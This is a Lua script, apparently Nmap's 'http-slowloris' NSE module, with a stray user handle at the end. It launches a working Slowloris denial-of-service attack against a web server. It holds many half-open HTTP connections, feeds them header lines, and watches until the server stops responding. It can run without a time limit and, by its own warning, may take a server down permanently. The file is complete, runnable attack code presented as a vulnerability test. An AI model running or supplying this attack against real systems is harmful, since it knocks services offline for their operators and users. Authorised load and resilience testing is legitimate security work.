local coroutine = require "coroutine"
local math = require "math"
local nmap = require "nmap"
local os = require "os"
local shortport = require "shortport"
local stdnse = require "stdnse"
local http = require "http"
local comm = require "comm"
description = [[
Tests a web server for vulnerability to the Slowloris DoS attack by launching a Slowloris attack.
Slowloris was described at Defcon 17 by RSnake
(see http://ha.ckers.org/slowloris/).
This script opens and maintains numerous 'half-HTTP' connections until
the server runs out of ressources, leading to a denial of service. When
a successful DoS is detected, the script stops the attack and returns
these pieces of information (which may be useful to tweak further
filtering rules):
* Time taken until DoS
* Number of sockets used
* Number of queries sent
By default the script runs for 30 minutes if DoS is not achieved.
Please note that the number of concurrent connexions must be defined
with the <code>--max-parallelism</code> option (default is 20, suggested
is 400 or more) Also, be advised that in some cases this attack can
bring the web server down for good, not only while the attack is
running.
Also, due to OS limitations, the script is unlikely to work
when run from Windows.
]]
---
-- @usage
-- nmap --script http-slowloris --max-parallelism 400 <target>
--
-- @args http-slowloris.runforever Specify that the script should continue the
-- attack forever. Defaults to false.
-- @args http-slowloris.send_interval Time to wait before sending new http header datas
-- in order to maintain the connection. Defaults to 100 seconds.
-- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30
-- minutes default).
--
-- @output
-- PORT STATE SERVICE REASON VERSION
-- 80/tcp open http syn-ack Apache httpd 2.2.20 ((Ubuntu))
-- | http-slowloris:
-- | Vulnerable:
-- | the DoS attack took +2m22s
-- | with 501 concurrent connections
-- |_ and 441 sent queries
author = "Aleksandar Nikolic, Ange Gutek"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"dos", "intrusive"}
portrule = shortport.http
local SendInterval
local TimeLimit
-- this will save the amount of still connected threads
local ThreadCount = 0
-- the maximum amount of sockets during the attack. This could be lower than the
-- requested concurrent connections because of the webserver configuration (eg
-- maxClients on Apache)
local Sockets = 0
-- this will save the amount of new lines sent to the half-http requests until
-- the target runs out of ressources
local Queries = 0
local ServerNotice
local DOSed = false
local StopAll = false
local Reason = "slowloris" -- DoSed due to slowloris attack or something else
local Bestopt
-- get time (in miliseconds) when the script should finish
local function get_end_time()
if TimeLimit == nil then
return -1
end
return 1000 * TimeLimit + nmap.clock_ms()
end
local function set_parameters()
SendInterval = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.send_interval') or '100s')
if stdnse.get_script_args('http-slowloris.runforever') then
TimeLimit = nil
else
TimeLimit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or '30m')
end
end
local function do_half_http(host, port, obj)
local condvar = nmap.condvar(obj)
if StopAll then
condvar("signal")
return
end
-- Create socket
local slowloris = nmap.new_socket()
slowloris:set_timeout(200 * 1000) -- Set a long timeout so our socked doesn't timeout while it's waiting
ThreadCount = ThreadCount + 1
local catch = function()
-- This connection is now dead
ThreadCount = ThreadCount - 1
stdnse.print_debug(SCRIPT_NAME .. " [HALF HTTP]: lost connection")
slowloris:close()
slowloris = nil
condvar("signal")
end
local try = nmap.new_try(catch)
try(slowloris:connect(host.ip, port, Bestopt))
-- Build a half-http header.
local half_http = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
"Host: " .. host.ip .. "\r\n" ..
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" ..
"Content-Length: 42\r\n"
try(slowloris:send(half_http))
ServerNotice = " (attack against " .. host.ip .. "): HTTP stream started."
-- During the attack some connections will die and other will respawn.
-- Here we keep in mind the maximum concurrent connections reached.
if Sockets <= ThreadCount then Sockets = ThreadCount end
-- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval
while true do
if StopAll then
break
end
stdnse.sleep(SendInterval)
try(slowloris:send("X-a: b\r\n"))
ServerNotice = " (attack against " .. host.ip .. "): Feeding HTTP stream..."
Queries = Queries + 1
ServerNotice = ServerNotice .. "\n(attack against " .. host.ip .. "): " .. Queries .. " queries sent using " .. ThreadCount .. " connections."
end
slowloris:close()
ThreadCount = ThreadCount - 1
condvar("signal")
end
-- Monitor the web server
local function do_monitor(host, port)
local general_faults = 0
local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Monitoring " .. host.ip .. " started")
local request = "GET / HTTP/1.1\r\n" ..
"Host: " .. host.ip ..
"\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n"
local opts = {}
local _
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", opts) -- first determine if we need ssl
while not StopAll do
local monitor = nmap.new_socket()
local status = monitor:connect(host.ip, port, Bestopt)
if not status then
general_faults = general_faults + 1
if general_faults > 3 then
Reason = "not-slowloris"
DOSed = true
break
end
else
status = monitor:send(request)
if not status then
general_faults = general_faults + 1
if general_faults > 3 then
Reason = "not-slowloris"
DOSed = true
break
end
end
status, _ = monitor:receive_lines(1)
if not status then
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Didn't get a reply from " .. host.ip .. "." )
monitor:close()
request_faults = request_faults +1
if request_faults > 3 then
if TimeLimit then
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: server " .. host.ip .. " is now unavailable. The attack worked.")
DOSed = true
end
monitor:close()
break
end
else
request_faults = 0
general_faults = 0
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: ".. host.ip .." still up, answer received.")
stdnse.sleep(10)
monitor:close()
end
if StopAll then
break
end
end
end
end
local Mutex = nmap.mutex("http-slowloris")
local function worker_scheduler(host, port)
local Threads = {}
local obj = {}
local condvar = nmap.condvar(obj)
local i
for i = 1, 1000 do
-- The real amount of sockets is triggered by the
-- '--max-parallelism' option. The remaining threads will replace
-- dead sockets during the attack
local co = stdnse.new_thread(do_half_http, host, port, obj)
Threads[co] = true
end
while not DOSed and not StopAll do
-- keep creating new threads, in case we want to run the attack indefinitely
repeat
if StopAll then
return
end
for thread in pairs(Threads) do
if coroutine.status(thread) == "dead" then
Threads[thread] = nil
end
end
stdnse.print_debug(SCRIPT_NAME .. " [SCHEDULER]: starting new thread")
local co = stdnse.new_thread(do_half_http, host, port, obj)
Threads[co] = true
if ( next(Threads) ) then
condvar("wait")
end
until next(Threads) == nil;
end
end
action = function(host, port)
Mutex("lock") -- we want only one slowloris instance running at a single
-- time even if multiple hosts are specified
-- in order to have as many sockets as we can available to
-- this script
set_parameters()
local output = {}
local start, stop, dos_time
start = os.date("!*t")
-- The first thread is for monitoring and is launched before the attack threads
stdnse.new_thread(do_monitor, host, port)
stdnse.sleep(2) -- let the monitor make the first request
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: starting scheduler")
stdnse.new_thread(worker_scheduler, host, port)
local end_time = get_end_time()
local last_message
if TimeLimit == nil then
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: running forever!")
end
-- return a live notice from time to time
while (nmap.clock_ms() < end_time or TimeLimit == nil) and not StopAll do
if ServerNotice ~= last_message then
-- don't flood the output by repeating the same info
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: " .. ServerNotice)
last_message = ServerNotice
end
if DOSed and TimeLimit ~= nil then
break
end
stdnse.sleep(10)
end
stop = os.date("!*t")
dos_time = stdnse.format_difftime(stop, start)
StopAll = true
if DOSed then
if Reason == "slowloris" then
stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped, building output")
output = "Vulnerable:\n" ..
"the DoS attack took "..
dos_time .. "\n" ..
"with ".. Sockets .. " concurrent connections\n" ..
"and " .. Queries .." sent queries"
else
stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped. Monitor couldn't communicate with the server.")
output = "Probably vulnerable:\n" ..
"the DoS attack took " .. dos_time .. "\n" ..
"with " .. Sockets .. " concurrent connections\n" ..
"and " .. Queries .. " sent queries\n" ..
"Monitoring thread couldn't communicate with the server. " ..
"This is probably due to max clients exhaustion or something similar but not due to slowloris attack."
end
Mutex("done") -- release the mutex
return stdnse.format_output(true, output)
end
Mutex("done") -- release the mutex
return false
end
@KyuuKazami